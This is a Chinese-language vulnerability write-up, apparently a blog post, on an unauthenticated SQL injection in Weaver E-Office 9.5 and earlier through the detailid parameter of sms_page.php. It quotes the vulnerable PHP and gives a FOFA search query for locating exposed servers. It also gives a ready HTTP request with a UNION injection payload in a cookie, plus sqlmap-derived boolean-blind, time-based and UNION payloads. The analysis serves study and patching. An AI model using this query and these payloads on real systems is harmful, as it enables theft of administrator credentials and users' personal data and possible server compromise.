漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office sms_page.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语法

(((header="general/login/index.php" || body="/general/login/view//images/updateLoad.gif" || (body="szFeatures" && body="eoffice") || header="Server: eOffice") && body!="Server: couchdb") || banner="general/login/index.php")

漏洞分析

直接看 sms_page.php 文件业务逻辑实现

<?php

include_once( "inc/conn.php" );
include_once( "api/sms.class.php" );
include_once( "inc/utility_all.php" );
include_once( "E-mobile/func_all.php" );
$mobilekey = $_REQUEST['mobilesessionkey'];
$page = $_REQUEST['page'];
$module = $_REQUEST['module'];
$scope = $_REQUEST['scope'];
$detailid = $_REQUEST['detailid'];
$fromid = $_REQUEST['fromid'];
$sessionstr = $_REQUEST['sessionkey'];
$strexplode = explode( ",", $sessionstr );
$userid = $strexplode[1];
$smsid = $detailid;
$UserInfor = array( );
$UserInfor['user_id'] = $userid;
$smsApi = new sms( $UserInfor );
$data = $smsApi->getSmsInfo( "", "", $smsid, "" );
$smsInfor = $data[0];
global $connection;
$sql = "UPDATE sms\r\n\t\t\tSET REMIND_FLAG = 0\r\n\t\t\tWHERE SMS_ID = '".$smsid."'";
exequery( $connection, $sql );

$detailid ==> $smsid ==> getSmsInfo getSmsInfo 函数业务逻辑如下

public function getSmsInfo( $limit = 0, $start = 0, $smsid = "", $keyWord = "" )
    {
        global $connection;
        $limit = 0 < $limit ? $limit : $this->default_limit;
        $start = 0 < $start ? $start : $this->default_start;
        $sql = "SELECT * FROM sms \r\n\t\t\t\t\tWHERE 1 \r\n\t\t\t\t\tAND TO_ID='".$this->userid."' \r\n\t\t\t\t\tAND SEND_TIME<'".$this->curdatetime."' \r\n\t\t\t\t\tAND receive_del != '1'";
        if ( $smsid != "" )
        {
            $sql .= " AND SMS_ID=".$smsid." ";
        }
        if ( $keyWord )
        {
            $sql .= " AND CONTENT LIKE '%".$keyWord."%' ";
        }
        $sql .= " ORDER BY SMS_ID DESC LIMIT ".$start.",".$limit."";
        $rs = exequery( $connection, $sql );

$smsid 和 $keyWord 均是直接拼接进SQL语句中并使用 exequery 直接执行，无任何过滤，造成SQL注入漏洞。

$detailid 通过 $_REQUEST['detailid'] 获取，$_REQUEST 在 PHP 里属于一个包含了 GET 、POST 和 COOKIE 方法传递参数的超全局数组，因此在测试时可使用 Cookie 传递 detailid 值进入SQL语句中。

漏洞复现

GET /E-mobile/sms_page.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: detailid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716b716b71,0x50696d475348684851524177764b6961774b5a696f44796e62664752514b78535244534662746978,0x71626b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

通过联合注入 成功在响应回显了测试payload。

通过 sqlmap 还可测试出其他注入方式如下

sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: detailid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: detailid=11 RLIKE (SELECT (CASE WHEN (6027=6027) THEN 1 ELSE 0x28 END))-- piDp

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: detailid=11 AND (SELECT 9111 FROM (SELECT(SLEEP(5)))iBiL)-- yWII

    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: detailid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716b716b71,0x50696d475348684851524177764b6961774b5a696f44796e62664752514b78535244534662746978,0x71626b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---

PS

这是一个很老的漏洞，最近被人拿出来刷，我就考古看下 =_= !